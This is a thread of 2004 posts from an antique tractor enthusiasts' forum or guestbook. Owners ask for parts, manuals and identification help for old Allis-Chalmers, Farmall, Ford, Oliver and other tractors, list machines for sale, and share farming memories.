Ted wrote on Tuesday, August 24, 2004 (PDT):Looking for a D-17 to purchase in the midwest (Kansas) anybody know of any for sale?
Steve wrote on Tuesday, August 24, 2004 (PDT):looking to add a 3pt hitch to my 300 56 utility would like any help you could give me. I love this tractor it has alot of heart.
Charles Carlisle wrote on Tuesday, August 24, 2004 (PDT):Phone 910 567 5244 For M and M T parts and tractors located in N. C.
Norman Beal wrote on Monday, August 23, 2004 (PDT):I am looking for a 1955-56 WD45 with wide front end.
Ralph Nesci wrote on Monday, August 23, 2004 (PDT):I have a John Deer model LA. It is in good condition but the exhaust manifold has rusted thru. I would appreciate any info on where to purchase a manifold? Is a remanufactured manifold ok or should I look for an original. Thanks for any help
Bobby Duckworth wrote on Sunday, August 22, 2004 (PDT):I want to buy a restored or partially restored, running Oliver 70 Row Crop tractor. My grandfather farmed with a Oliver 70 Row Crop back in the 1940's and 1950's on his farm near Vernon, Texas in Wilbarger County. I don't know the exact year model, but I think it was purchased in the early to mid 1940's. I would like to find "his" Row Crop 70, but don't know if I will be able to. Please email me if any of you have one for sale.
Jon Hoffman wrote on Sunday, August 22, 2004 (PDT):I was wondering how rare the the Ford Workmaster 741 is. my father, who is a retired farmer, just restored this tractor. It has the high row crop rear end. Some people have told us this tractor is rare based on the serial number stamped on it and the fact that it is in like new conditioin (restored).
Hank Hackett wrote on Sunday, August 22, 2004 (PDT):I have a similair tractor but with he wide steering wheels. I think it is a farmall (FC) super c. the serial number is 188913. It appears to be a 1953 or54 year of production. Is this correct.
David wrote on Saturday, August 21, 2004 (PDT):I have a 53 TO-30 with a cracked block. Need a rebuildable block..help...
mike wrote on Saturday, August 21, 2004 (PDT):like every one else i am also looking for a D21 i have a small farm an use a D17 an a 200 anyone in Indiana plz contact me
pete paseshnik wrote on Friday, August 20, 2004 (PDT):i curently have purchased a model u moline and have a wiring problum,does any one know how i could obtain a service manual for the tractor?i cant find one at all...
Underwood & Wilson Tractor Service wrote on Thursday, August 19, 2004 (PDT):email me if you need info. on parrett tractors my parents own one. If you are curious we have a 1918 Parrett
Jim Young wrote on Wednesday, August 18, 2004 (PDT):I am looking at an Oliver 550 that has a backhoe on it an a front blade with a hydraulic lift. I found this site and want to thank all of you who have wrote as I have already had many questions answered. The tractor is yellow, does that make it an industrial model? Model 35-0146 Serial# 66920-519.
John Dale wrote on Wednesday, August 18, 2004 (PDT):I have a 1951 case and use it all of the time I'am looking for a carburetor kit for the case or some place I can get one. Thank for your help
FarmBoy wrote on Tuesday, August 17, 2004 (PDT):I have a 1941 Farmall BN athat had a tree growing through it. It is in terrible shape, exept the transmission. We got a 1940 B as a parts tractor, and the B was the one that ran! So now we will restore both! ;>)
David Whitaker wrote on Tuesday, August 17, 2004 (PDT):I bought a 420c from my father in 1999 at that time it has been in the family for 27 years and has had the motor,rear end, transmission and right track drive line rebuilt. I have used it alot until 2 years ago. last week end my uncle asked me to take it to a tractor show in Alabama that he was a part of. There was alot of people interested in it and asking alot of questions.I am proud of the little crawler (not to mention the punch it packs) I have just about decided to retire it with a restoration and just show it off at the tractor shows. (By the way It was the only JD 420 crawler there)
DAN wrote on Monday, August 16, 2004 (PDT):I have just finished my greatgrandfathers d14,i am now looking at a D17 series III HIGH CROP PROPANE, HES ASKING 3500.00. I HOPE TO RECOVER MY MONEY & THEN SOME
Tom Staggs wrote on Monday, August 16, 2004 (PDT):I have a John Deere B tractor I am looking for someone in the Little Rock Arkansas area that has a John Deere tractor club or might be interested in purchasing this tractor
David Clark wrote on Sunday, August 15, 2004 (PDT):i have a co-op e4 runs like a new one but the starter has a broke gear in it need to find a starter or sell the tracter
Jim Broughton wrote on Saturday, August 14, 2004 (PDT): To; Jack Ezell...Your Cub is 10.5 horsepower,same as all the rest, unless someone has "jazzed-up" the engine. See the Nebraska Tractor Test #386 for the complete specs on the Cub. LOL, Jim
Dave wrote on Saturday, August 14, 2004 (PDT):Looking to enter my 1959 Power Major in the antique tractor pulls. Any info concerning pulling with a Major is greatly appreciated. I need new rear tires. What size rear tires are recommended? It has 24" rims. I have access to a set of 30" rims from a Super Major loader/backhoe. Thanks for any help. Dave
Steve Barnes wrote on Thursday, August 12, 2004 (PDT):The "Super Dexter" looks to be in great shape. Our family had one that I used as teen back in the early 80's. It was later purchased by a local contractor that continues to use it today around the home. I do have a question for anyone that may have some advice. A friend has a restored 1963 Super Dexter that he is having a problem with. The engine was running fine plenty of power up to the point he poured in a 5-gallon container of fuel while the engine was still running. Since, the engine has been low on power and slow to bring up the RPM's. A new fuel filter was installed and the fuel system bled down but no improvement in performance. Any suggestions? Thanks, Steve Barnes North Carolina
Tom wrote on Thursday, August 12, 2004 (PDT):My grandfather had a ZA. Wide front,steering shaft down left side,swinging seat with foot rests behind axle,horziontal brakes,little platform under PTO,belt pulley that spun when tractor moved,hand clutch. It was the first tractor I learned to drive and was used for everything. Silage blower,buzzsaw,rake hay,hayloader,disc,drag you name it. The seat was off it so we could drive thru the barn with the spreader standing up. We drove it all the time standing. Used a Farmall H, an M and a 350 for everthing else. An uncle still has it. Tired but it still runs.
Arthur Randall wrote on Wednesday, August 11, 2004 (PDT):Hi I own A Oliver Cletrac HG 42 crawler with a blade.It is an old tractor and after 40 years of being garaged and not run , with a little work I got it running an im using it. My father used it 40 years ago to dig cellars and do alought of back grading. I hope it gives me many more years of light duty work.When any one is looking for parts many of the parts from the old john deer tractors will work.Any one with an oliver HG 42 write back I would be interested in swoping info Thanks and keep on TRACTORING
john lane wrote on Tuesday, August 10, 2004 (PDT):i dwive dat twactor befow
Brendan wrote on Monday, August 09, 2004 (PDT):I have for sale a 300u .2pnt. w/3pnt. conversion.Comes with 2pnt. blade,2pnt. 3bottom plow,3pnt. cultivator,wheel weights and chains.Runs great & is complete but TA does not work.TA is in high so this is not a problem for useing this tractor.Located in North Dakota.
Dennis wrote on Sunday, August 08, 2004 (PDT):looking for wd45 and wd45 diesel.
Chris wrote on Saturday, August 07, 2004 (PDT):I have recently bought a Fordson major tractor were can I find parts and manuals 4cyl. dsl. unknown year?
Ron Blackwood wrote on Friday, August 06, 2004 (PDT):I need the engine torgue specifications on the Allis Chalmers B
Loren Flemming wrote on Tuesday, August 03, 2004 (PDT):We had a 1960 730 gas. Dad sold it in 1985. Found the guy who now owns it. Wanted to buy it back, but he's not about to sell it. He is in the pulling circuit in So. MN. And he's winning.
Larry wrote on Tuesday, August 03, 2004 (PDT):I used one of these when I was young. It was brand new and the owner of the farm I worked for got it in with a set of bottom plows and the first chisel plow I ever pulled. Boy was that tractor nice with its closed cab and hydrostatic shift. Never had it that nice on a tractor before and the owner used to save the combines for him and the foreman. ;-)
Jack wrote on Monday, August 02, 2004 (PDT):Andy look on the side of the trany to find the bilt date. If it is a 1935 then it would have come out on steel.
Sean Asam wrote on Sunday, August 01, 2004 (PDT):I heave just been given a Cockshutt 60. My son is a total tractor nut and wants it fixed yesterday. I have not yet even located the serial number, I have looked everywhere, I thought that it would be close to the shifter, but I cannot see it. Did all the cockshutt 60 have full side cowlings on both sides? I need a clutch with housing as well as the pulley to go on the PTO next to the shifter.
Jacob Haynes wrote on Saturday, July 31, 2004 (PDT):I love your Cockshutt. I have never had the oppertunity to see one but I love the style and I have heard of there quailty.
Jack K. Haeyes wrote on Saturday, July 31, 2004 (PDT):I love the d21 series of allis chamlars. I think have done a great job maintaining tractor. It looks great. Thanks!!!
GRegg McCann wrote on Saturday, July 31, 2004 (PDT):I own a 1949 to-30 Ferguuson. the tractor is in good cond.I am working on it. it runs fine. but has leaked all thhe trans, rear end oil and hyddralic oil out of of it. i got it from my 99 year old uncle.motor runs good now has good and even comp..The shop manual I was told Says to to replace power lift unit with 80-90 wt. oil as well as trans fluid. It is the operating fluid for the entire system. I believe ! I should use hyd. fluid.for power lift unit but the 80or 90. would be used for trans. at rear end. but it seems the 80 wt, oil runs all though system. the tractor is all orignal.It has been garaged. since bought new any help on this. it has been parked in shed when not in use. has not been used. in years has done much terraceing in Maries co mo.many other implements with it also have ford flat head to restore or sell any help would be useful.but do't need smart ass answers.If youare found fooling with tractor at night you will be found there in morn.Thanks for helpful replys. Harry Ferguson did win lawsuit against ford On on triple hitch and and rear end weight transfer.Thanks Gregg McCann ferguson
GRegg McCann wrote on Saturday, July 31, 2004 (PDT):I own a 1949 to-30 Ferguuson. the tractor is in good cond.I am working on it. it runs fine. but has leaked all thhe trans, rear end oil and hyddralic oil out of of it. i got it from my 99 year old uncle.motor runs good now has good and even comp..The shop manual I was told Says to to replace power lift unit with 80-90 wt. oil as well as trans fluid. It is the operating fluid for the entire system. I believe ! I should use hyd. fluid.for power lift unit but the 80or 90. would be used for trans. at rear end. but it seems the 80 wt, oil runs all though system. the tractor is all orignal.It has been garaged. since bought new any help on this. it has been parked in shed when not in use. has not been used. in years has done much terraceing in Maries co mo.many other implements with it also have ford flat head to restore or sell any help would be useful.but do't need smart ass answers.If youare found fooling with tractor at night you will be found there in morn.Thanks for helpful replys. Harry Ferguson did win lawsuit against ford On on triple hitch and and rear end weight transfer.Thanks Gregg McCann ferguson
jack ezell wrote on Friday, July 30, 2004 (PDT):What is the horsepower of a 1951 cub tractor
Bruce wrote on Friday, July 30, 2004 (PDT):I have just purchased a 1952 w4. My plan is to restore it, so that I can work it. The tractor had been parked for nine years, and started with new gas and a very short pull. Problem is, the clutch and pressure plate seem to be stuck together.Any hints? Also I cannot get the starter out no matter which way I wiggle or turn it. There must be a way with-out breaking the tractor in two. Bruce (in n/w ont.)
Gary Veach wrote on Thursday, July 29, 2004 (PDT):I restore old tractors as a business. Right now I'm restoring a 1957 D-17 diesel. I want to paint it the exact same colors as it came off of the show room floor. I don't have any pictures that show me how the tractor was origially painted. I'd like to get a sales brochure or someting that has some pictures of the tractor on it. If anyone has any information that will help me, please e-mail me. thanks
danny martin wrote on Wednesday, July 28, 2004 (PDT):i own a ford 800 with loader and backhoe and its been in a flood and now has sat about 6 years. im now looking to buy one that runs or could run with alittle work if anyone knows where i could find one somewhere close to illinois it would help me out alot. thanks
JR Via wrote on Wednesday, July 28, 2004 (PDT):I have been looking for a gear shift lever and cover plate for a 1949 Leader Tractor 3033-49D. I also own another Leader Tractor 2349-49C. Please let me know if you could help me out..Could use a manual for both. Thanks 7-28-2004
Dave Glenn wrote on Tuesday, July 27, 2004 (PDT):I have a 1947 oliver oc6 that runs but wont move. It is a track machine can anyone advise
Henry Hahn wrote on Tuesday, July 27, 2004 (PDT):Scott I have 2 parts tractors 48D&47D may have what you need Henry Hahn , 7606 Hwy. J , Perryville MO. 63775
Harold H wrote on Tuesday, July 27, 2004 (PDT):Someone asked why the rear wheels had spokes. This tractor was originally equipped with steel wheels and the rear wheels are the cut off steel wheels with rim welded on to convert tractor to rubber tires. Harold H
Budd Dewey wrote on Monday, July 26, 2004 (PDT):Looking for a Distributor cap, headlight, steering wheel, battery box and stick shift knob for my Farmall 1944 BN tractor. Looking for original parts please!
Len Mosher wrote on Monday, July 26, 2004 (PDT):I have a BO Lindeman Crawler, about 95% complete, in "disassebled" condition. I got it several years ago. It was running and I used it to skid logs to build a log house. It has a blade with cylinders inside the push arms and cables to raise the blade, attached to hangers that stick out to the side. I'm sure the folks who've seen these tractors know what I'm talking about. One the hangers is not original, the old one having been broken or lost. The hydraulics leaked like crazy, and not having much money, I used to have to take the cylinders apart regularly, to replace the "leathers", which I fashioned by freehand, with scissors. For every hour I used the machine, I used to spend about an hour working on it, as it was old and I was probably asking a lot of it. The steering clutches were quite warn, resulting in frequent attempts to adjust them and get a little more use, without spending much money. It really was a great machine, though, and I pulled some temendous weights with it. It was a little too exciting using it in the bush, however, especially when you got going backwards down a slope, with poor steering clutches and brakes, and the seat arrangement having you as the most rearward component. It was also fun going over big humps, because when the front of the crawler went down in a hurry, you went up at the same speed, and had to hold on for dear life, to not be catapulted right over the machine and land in front of it. I got it stuck in a mud hole once, working on my water line,and after many hours came out looking like the creature from the black lagoon, covered with mud thrown up by the flywheel and clutch cylinder. It was really deep. I finally got it out by throwing rocks under the tracks, until there was enough of a base to get moving again. I have always meant to restore it, which resulted in it's current state. I had someone working on it to fix the steering clutches, but he broke something (a cast part, difficult to repair), and then his wife died unexpectedly and it has sit idle for a couple of years, in it's state of dissasemblement. Anyone interested in a project? It's mostly there, and was running before being taken apart. It's a great source for parts, if nothing else.
Robert Palmer wrote on Sunday, July 25, 2004 (PDT):I have a 49 wd i recently blew the pto on it while using it to bale hay! Im looking for the pto assembly that bolts to the bottom of the transmission! Can any body part with one? thanks. would like to have tractor ready for the county fair!
Ted Green wrote on Sunday, July 25, 2004 (PDT):Have inherited a AC 1970 160 with only 1,050 hours on it. Barn kept, excellent condition. Can anyone tell me what it is worth?? Am going to sell in a upcoming auction.
Larry FIELDS wrote on Saturday, July 24, 2004 (PDT):Hi own two ac loaders . both are hd 7 g one is in good shape . the other one is mostly parts . it will run and orerate . but pins and tracks and sprockets pretty bad . and just bought A hd6 dozer . looking for front idler any one out there have any tips where i could locate one please e-mail me yhank's
DGT wrote on Friday, July 23, 2004 (PDT):I wish I could get one of these tractors you guys are talking about, but I don't yhink I'll ever get it.
David Strate wrote on Friday, July 23, 2004 (PDT):I just purchased a Ford Dexta 2000 and wonder if there is a place I can purchase a shop manuel for it.
jEstherTreib wrote on Friday, July 23, 2004 (PDT):We need a radiator for our D17 Allis Chalmers tractor. It is a gas and the best baling tractor. Our son has used it to bale with her years.
Lonnie Sewell wrote on Thursday, July 22, 2004 (PDT):I have a MF. 97 and want to put front weights on it. It has a bracket but not sure if it had MF weights or red MM weights. Would like some pictures if you have. Lonnie
J wagner wrote on Wednesday, July 21, 2004 (PDT):jw july 22, 2004, nice tractor bro. I don't critize anyones equipment. I am realy a massey-ferguson man myself.
Roger Levoy wrote on Wednesday, July 21, 2004 (PDT):Desperately looking for points for a 1250 cockshut tractor. Apparently they are discontinued but managed to locate the make and order number "Marelli DU2142". Points are for a four cylinder gas fiat engine. Any help from anyone would be appreciated.
mark westbrook wrote on Tuesday, July 20, 2004 (PDT):i have a MM M5 and a MM Jetstar both have clam type buckets mounted on the front was wondering what is the worth value of these tractors maybe interested in selling ifthe price is right
Jason Trinley wrote on Tuesday, July 20, 2004 (PDT):hi my name is jason,i have cub for sale that was my grand pops.i am not sure what year it is but the serial # is 3519j.The owners manual has a delivery date of 1956.It was always kept inside and well mainained. The paint is original and in decent condition.The motor was freshened upafew years ago.I have a sickle mower,48"woods type mower,snow plow garden plow,disc,tire chains,wheel weights and owners manual for it. It also has a new battery. The regulator and generator were replaced a few years ago.Iwould like to get 2500 for it.
Mrs Jolene Rogala wrote on Tuesday, July 20, 2004 (PDT):All MASSEY FERGUSON OWNERS BEWARE! My husband purchased the MF tractor used and a particular lever unbeknown to him has to be engaged when towing a load going DOWNHILL!! The lever was not properly marked. I put the tractor in the lowest speed I could and expected to have a very slow descent down this dirt road. Well, it was as though I had the clutch pushed in; it "free wheeled" down this dirt road the weight of the 40 foot dock raised the rear end of the tractor puncturing the left rear tire of the tractor. I do NOT recall anything from here on. The tractor ran upside down until the gas and oil were gone. The piston spun in the block and the engine is virtually SHOT! It is going to cost us approx. $5,000 to rebuild the engine. It has been a year since my accident. I had broken 5 metatarsal bones, two main tendons, severed the main artery supplying blood to my foot,and there were multiple dislocations. So, if you are buying a Massey Ferguson used obtain an owners manuel so this does not happen to you. My family has suffered greatly because of this accident, which could have been prevented had the lever been properly marked. I don't have the technical term for the lever, you research it yourself. Good Luck, Mrs Jolene Rogala PS I am walking and feel blessed to be alive.
Donovan Shearer wrote on Tuesday, July 20, 2004 (PDT):I have purched a Massey-Harris with a front loader and a backhoe. I am doing research to find out what year and what i have. I am using it for digging trenches for power and water down in the Ozarks, around Badnell Dam. I have 20 acres that i am developing on a shoestring budget. The tractor does the work, but blew a hose last week. I am doing this part time, since I am on the road alot driving a charter bus. I will look for the numbers next time I am down there, so as to check out what year and what I have. thanks for being there
Bob Riccitelli wrote on Tuesday, July 20, 2004 (PDT):what can the farmal H pull I don't want to kill the tractor
Nate Ary wrote on Tuesday, July 20, 2004 (PDT):I have a 1930 MH GP. It is grey with red steel wheels. It runs a little rough because it has a AC WD45 carb on it. Cant seem to lean it out enough. The tractor stays running though and looks good. The right brake drum is half broken so it only brakes one direction and that is directlry to the left. The serial number is 301652. Any one know where I can get an OEM Zenith carb for an OOC Hercules? The number is 0-11722 or an original Tilisen carb for the GP? Email me at super_dak2000 at yahoo.com. Thanks!
Nate Ary wrote on Tuesday, July 20, 2004 (PDT):I have a 1930 MH GP. It is grey with red steel wheels. It runs a little rough because it has a AC WD45 carb on it. Cant seem to lean it out enough. The tractor stays running though and looks good. The right brake drum is half broken so it only brakes one direction and that is directlry to the left. The serial number is 301652. Any one know where I can get an OEM Zenith carb for an OOC Hercules? The number is 0-11722 or an original Tilisen carb for the GP? Email me at super_dak2000 at yahoo.com. Thanks!
David Waldrop wrote on Sunday, July 18, 2004 (PDT):I have a 1929 L Case on steel I got it from my grandfather when he passed away I have done alot of work to it I use it to pull in antique tractor pulls
Rodger wrote on Sunday, July 18, 2004 (PDT):I am looking for any information related to fire appratus supposedly built by Parrett Tractor in 1919 or the early 1920s. Vincent Bendix of Bendix brakes had financial interest in Parrett Tractor and moved the South Bend Motor Car Works fire engine firm from South Bend, Ind., to the Parrett plant at Chicago Heights in 1920. I am compiling a book on South Bend, Stutz and New Stutz fire apparatus and the Parrett connection would be of interest. Any assistance would be appreciated. Thank you, Rodger Birchfield, Indianapolis
Al Fernandes wrote on Sunday, July 18, 2004 (PDT):Nice tractor, have a 1945 60 RC I just bought not running, need a few parts, water pump, side curtains, grill, rear tires 9x32 any Ideas, ? thanks AL
Ted Osborne wrote on Saturday, July 17, 2004 (PDT):I just restored a Vac ,A ROW TYPE ,BUT I DON'T KNOW WHAT YEAR IT IS.IT LOOKS LIKE THJE ONE IN THE PICTURE .HOW DO I FIND OUT? THE SERIAL NUMBER IS 5552338 IF THAT HELPS. THANKS IF YOU CAN HELP. TED O.
Ken Johnston wrote on Thursday, July 15, 2004 (PDT):John Mayse; The S-Y and CC tell you the hyd pump capacity and the transmission gearing option (I can't recall which is which now). I'm sure that the serial number chart on this site will tell you the year, etc. See my posts further up. Welcome to the 560/660 world!!
B. Thompson wrote on Thursday, July 15, 2004 (PDT):My AC 160 has a howl when I backup. Anyone else have this problem? Going to tear it down since it is giving me metal 'bits' on the magnet for the hydtrans fluid filter. Would like some feedback from anyone who has had the rear apart. Thanks.
Lyle Asher wrote on Wednesday, July 14, 2004 (PDT):Our first tractor was a F 12 boought used an 1944 while I was in high school. On steel narrow rear rims with big lugs and row crop front wheels. I remember plowing with a 2 bottom plow nd when you would hit a hard spot and the furrow wheel would spin part of a round the draw bar would hit the ground andI would have to unhitch,dig under the draw bar, hook a chain to the plow,pull out to one side, rehook and go again. We farmed a little over 100 acres with it. Dad loved horses and would brake colts I had to do a lot of begging to get him to buy that first tractor. Riding in the F 12 was a lot better than riding behind a team of horses on a sulky plow.
Tom Cooley wrote on Tuesday, July 13, 2004 (PDT):I have a '69 Oliver 550 with a 6' bucket on the front. One of the original power steering cylinders is shot. Does anyone have any ideas on how to either find parts or replacement cylinders? I also need rear axles seals. Is that much of a job? Thanks.
Jack Kearney wrote on Tuesday, July 13, 2004 (PDT):I have a Case Tractor (vai) and I would like to find out what year it is. It's an older tractor and the serial # is - vai6039571- and the engine # is - 73k01285 - can any one tell me how to find the year through these numbers ? If so e-mail me at jrk at 1st.net.
Al wrote on Tuesday, July 13, 2004 (PDT):I to amgetting ready to restore a MH50 and would like more information, were to get parts, decals, and picture of exhaust, where it comes out of the tractor for sure as the one my Brother left me is modified and I want to make it original. Thanks
gavin wrote on Tuesday, July 13, 2004 (PDT):this tractor is a shit heap
john jimerson wrote on Monday, July 12, 2004 (PDT):looking for a front loader for a 1957 240 IH utility. Reasonable and in the northern Ca. area. I am interested in selling this tractor when I have finished my property upgrades. Please send any interest and bids. Pictures are available.
Steven wiley wrote on Monday, July 12, 2004 (PDT):I, am looking for parts for my 1930 AC M Tracked Tractor. I hope someone can help.
Megan Faulkner wrote on Monday, July 12, 2004 (PDT):I am looking for the manual for a 1936 Farmall F-12. I have an event the 25th of July, 2004 I need this information for. If anyone has any information on this tractor, please contact me. Megan Faulkner 219-769-7275 work 219-742-1483 cell. Thank you.
Dave Pringle wrote on Monday, July 12, 2004 (PDT):Saw two of these at the "100yrs of tractors in New Zealand" show, March 2004 at Kirwee near Christchurch. Have just obtained a video film of this event.
Don Fender wrote on Sunday, July 11, 2004 (PDT):Hey'My dad has a 140 and he is having trouble with it building oil in the crank case.I'm trying to find a web sight with a diagrahm of all of the gaskets and where they go.I believe that where the hydraulic pump bolts to the block, the gasket is leaking.Thinking that hydraulic oil is leaking into the crankcase.Also I'm probably going to help him rebuild the motor.The tractor is A 140 farmall as you already know,The model # is 57779 HC and is a 1975.I need someone to please help me find these parts or web sites. Thanks a million Don.P.S I know this web site has all the parts but I was looking for a diagrahm of the gaskets.
John Faccin wrote on Sunday, July 11, 2004 (PDT):I have a chance to buy a TD35 that is stuck, it has a bucyrus blade or loader frams but no blade or bucket. They want 800.00 for it. is it worth that as it needs a total restoration.
Randy Woehl wrote on Sunday, July 11, 2004 (PDT):Can anyone tell me where to find out about when the L Case tractor on steel, when sold, did Case give out a small brass emblem with a leather strap? I guess this was for a pocket watch is what grandma said when she give it to me in 1981? Also did the possiablly give out a pocket watch? I have these Items and pocket watch, Elgin, dates to 1931. I also have all the original owners manuals for the L, LA, and the J.I. Case Threasher. And BW photos of all this together when my Grandfather purchaced this, and it operating in the field. See he run a Threasing Company in the 20's - 40's. Saved Everything, and the threasher is still on the farm. But my Grandpa is gone,and my Dad and brother passed early. So I am left with all this and trying to put it all together. Now you know my intrest. Can anyone tell me where to find out this information, web sites, people, or place to go. I have more items,manuals, tools, parts,ect, but those are the most intresting ones to me that seem to somehow go together. e-mail me ; woehl at hotmail.com Thankyou to anyone that can help me to learn about this history, that way I learn more about my Grandpa too.
James Engle wrote on Saturday, July 10, 2004 (PDT):my family has a 63 Dexta and a 65 or 66 Super Dexta that has been in the family since about 1972-D and 1975-SD and we finally wore the Dexta out and decided to use it for a parts tractor. It has been a donner for the Super Dexta and so far all parts interchange. The lift quit working due to the lift cylinder blowing the o-ring and we had to fix it with an O-ring purchased from the local auto parts store, and the engine is a perkins diesel and the parts are easy to find since those engines were used in everything you could imagine ( the latest engine in the tractor came from a vermeer 440 trencher). If you really look you will find that many of the parts are still being made even today but you have to figure out what they are currently being used on. Yes there are a few parts that only work on those tractors but, there are a lot of the parts that have been adapted to other tractors and equipment. I hope that this will help everone in the search for the parts they need and the problems they run into.
Howard Woods wrote on Saturday, July 10, 2004 (PDT):Tom Schaefer; Would like to know if your brother-in-laws 830 is still for sale?Would appreciate some history on this machine plus price. Thanks.. Howard
kenlpickles wrote on Saturday, July 10, 2004 (PDT):can anyone help iam trying to find out the weight of my ford major diesel tractor[lambourn mk 6]any help
--------------------- wrote on Saturday, July 10, 2004 (PDT):The "60's"Replaced the "A's" not the "B's" Get real
Jeremy Bogard wrote on Saturday, July 10, 2004 (PDT):Does anybody have any Parrett tractors they would like to sell, any condition, any age?
Peggy Haswell wrote on Saturday, July 10, 2004 (PDT):My family has a Fordson Dexta, as best we can guess it is 1950ish model. The word "Einto" in above the numbers on the tractor. The numbers are 857E7005, T4, L150. Can any of you tractor buffs help with any information. I've been told it's a "Major"?
Leon Copenhaver wrote on Friday, July 09, 2004 (PDT):I have a cub tractor, FCUB serial #36104. what year is it.
Rex Kelly wrote on Friday, July 09, 2004 (PDT):I couldn't begin to tell you how many hours I spent on our vista 1000 as a kid. That thing was tough and would like to buy one today if there is anyone with quality tractor for sale out there please contact me. It doesn't have to look good, just needs to run good. 816-308-0145. I am also interested in other mms for sale. These are for my personal use not show.
Ken Sheren wrote on Friday, July 09, 2004 (PDT):I just got the chance to purchase a 1948 Cub with a number of implements. At first I thought the implements were home built by the way they were constructed, but on a closer look on a little pull behind disc, I found a International decal and a model # plate. I was wondering where I can find information and photos of implements offered for the Cub by IH and maybe other companies. My interest is really on this belly mounted single blade disc. The blade is 26 inches in diameter with a scraper attached to it. Hope to hear from somebody. Thanks, KEN
Derrick Blacquiere wrote on Friday, July 09, 2004 (PDT):My father had a 30 way in the back yard that he use many years ago in the woods. It had been sitting there for three years cents it was started last os I said to him can I have the old tractor in the back yard ;well what are you going to do with it he said; give it some new life I said. The next day I went down to the old tractor with some gas and a battery the starter was ceased up so I had to use the hand crank well three turns of the crank and the way she went and i drove it home five miles away.Now I have it sitting my garage going though the process of rebuilding it.I will let you now how it turns out
Gregg McCann wrote on Friday, July 09, 2004 (PDT):I recently obtained an Ferguson tractor from my 99 year old uncle. Who died in house fire. I need help in identifing it Iwould like to restore it. It had been sitting for 8 years. Ihave it running now it sounds good no smoke.Under the seat on the case there is a # 11-o2-49. On the left side arond rear end housing there are two rivited plates onehas the #112349 the other TO4024 It has a red hood origanal i believe. can anyone help me with these #
jade meinzer wrote on Thursday, July 08, 2004 (PDT):I am telve years old and restored a 1948 MM "UT" and i would like to know where the decals go on the tractor. A picture would be helpful. Thanks.
Marv White wrote on Thursday, July 08, 2004 (PDT):I have a 49 model WD (gas), it's been setting for a year, and I would love to have someone take her off my hands for a reasonable offer. I am in the process of putting on a new rear wheel, and when I get the wheel stop, I'll have it back together. Wichita falls is north of Dallas TX any takers
Nancy Jensen-Case wrote on Wednesday, July 07, 2004 (PDT):My email about my Avery BF Model A overlooked the fact that it has a single wheel in front. Nancy Jensen-Case/Dreamtime Sanctuary
Nancy Jensen-Case wrote on Wednesday, July 07, 2004 (PDT):I have a nonprofit animal sanctuary outside of Elgin, Texas, (30 miles east of Austin) and have recently bought an Avery BF Model A from a local fellow. Its date of manufacture is stamped at the bottom edge of the Hercules engine and reads; 7-29-47. It is in excellent working order and is more than adequate to the jobs for which I need it. It looks like the photo at the beginning of this discussion list. Nancy Jensen-Case/Dreamtime Sanctuary
Nancy Jensen-Case wrote on Wednesday, July 07, 2004 (PDT):I have a nonprofit animal sanctuary outside of Elgin, Texas, (30 miles east of Austin) and have recently bought an Avery BF Model A from a local fellow. Its date of manufacture is stamped at the bottom edge of the Hercules engine and reads; 7-29-47. It is in excellent working order and is more than adequate to the jobs for which I need it. It looks like the photo at the beginning of this discussion list. Nancy Jensen-Case/Dreamtime Sanctuary
Brandon wrote on Wednesday, July 07, 2004 (PDT):Our family has had a farmall F-20 for three generations. My Great Grandpa,Had drug this tractor out of the trees one day and started tinkering on it.It wasn't long and he had it running. he re-painted it and put it in a musium. it was taken out of the musiam 11 years later. then it sat in our garadge for another 4 years. then one day we set our mind to it, we where going to get it running. within a mater of ours it was running like a top.
Ron Woodmansee wrote on Tuesday, July 06, 2004 (PDT):I started my farming career on a 1937 Oliver 70 row crop, in 1948, when i was 6 yrs old. We done every farming operation under the sun with that tractor, including attaching my 4-h dairy heifer to the draw bar when she was being stubborn and didn't want to lead.. I remember always wanting to go down the road to the neighbor's place and drop our plow in with them and try and compete with their Farmall "M" and they also had an "H" that was in our class, lol.. When Dad quit farming and we moved to a small town, We kept the Oliver 70. and it became my "car" until I became 16.. Spent many evenings and nights sleding in the winter time, all the kids loved the old Oliver. Would love to have it back now, they were the greatest... Fond memories from our Oliver, Ron
bill mcenery wrote on Tuesday, July 06, 2004 (PDT):need brake parts for vac-14 can any one out there help?
bill mcenery wrote on Tuesday, July 06, 2004 (PDT):just got a massey 44 38 in rears and awide adj. front told its a swarts front end and known as red river special has no tag any infro. appreciated on this old high tractor
Aaron Lenk wrote on Tuesday, July 06, 2004 (PDT):My real dad use to own two G1000s and we used one for field work. We used 5 bottom plow and and a 16 foot disk with a 16 foot drag behind disk occasionally. It was a damn good work horse in the fields but the pto took a crap and thats only problem we had with that one. The other G1000 was older style and used that for spreading manure and when ever we thought we working them two G1000s it didn't even phase'em. G1000s where built heavy which is good for field work and had very good lugging power. One of the best tractors ever built and one of the best in my book for sure.
Andy Serink wrote on Tuesday, July 06, 2004 (PDT):I am redoing a "40" and need the centre strip for the grill. Our family has owned this tractor since new.It was used for every job on the farm from haying to plowing. It was a excellent tractor on the farmhand F-15 loader.
Henry Hahn Leader tractor club president wrote on Tuesday, July 06, 2004 (PDT):Shelly send me your land address and I will send information about Leader Tractor co. henry hahn
kevin wrote on Saturday, July 03, 2004 (PDT):i am looking for an original light switch for a wd45. the switch also controls charging rate of the generator and the resistor is broke in mine. iwould like to keep it original as it belonged to my grandfather
Marvin Bjorge wrote on Friday, July 02, 2004 (PDT):I own an industrial 420C. My brother and I got it from our parents when they sold their ranch. I grew up using it to plow snow with as well as for back filling ditches, etc and my father used it on fire lines as our ranch was quite remote from fire fighting equipment at the time. People would stop in off the road wanting to buy it, but we opted to keep it and I'm glad we did. It has approx. 691 hours on it and is currently being rented out for finish work on roads, and around a small sand and gravel operation so it is still earning it's keep. People keep trying to buy it from me for way less than it is worth. It has a Holt hydraulic dozer that will swivel 2 or 3 points either direction or straight on. The hydraulics will pick up the front end of the dozer easily. It is definitely a keeper. 2 contributions to Farmshow Magazine have rated the 420c as a "Best Buy." Marvin Bjorge Polson, Montana
Ed Dumm wrote on Friday, July 02, 2004 (PDT):Just got a tractor manufactured by The Cleveland Tractor Co; The General Model GG Serial # 7FA456. We would appreciate any information as to year of production and availability of parts. We like a challenge but may have met our match with this one.
Kenneth Laird wrote on Thursday, July 01, 2004 (PDT): I have a D 10 Busghog tractor and 42 in. busghog mower . I am having trouble with the lever not staying ingaged when I try to use the mower . It will stay ingaged if I hold it , but just as soon as I let go it will kick out . Does anyone have a suggestion how to fix it .
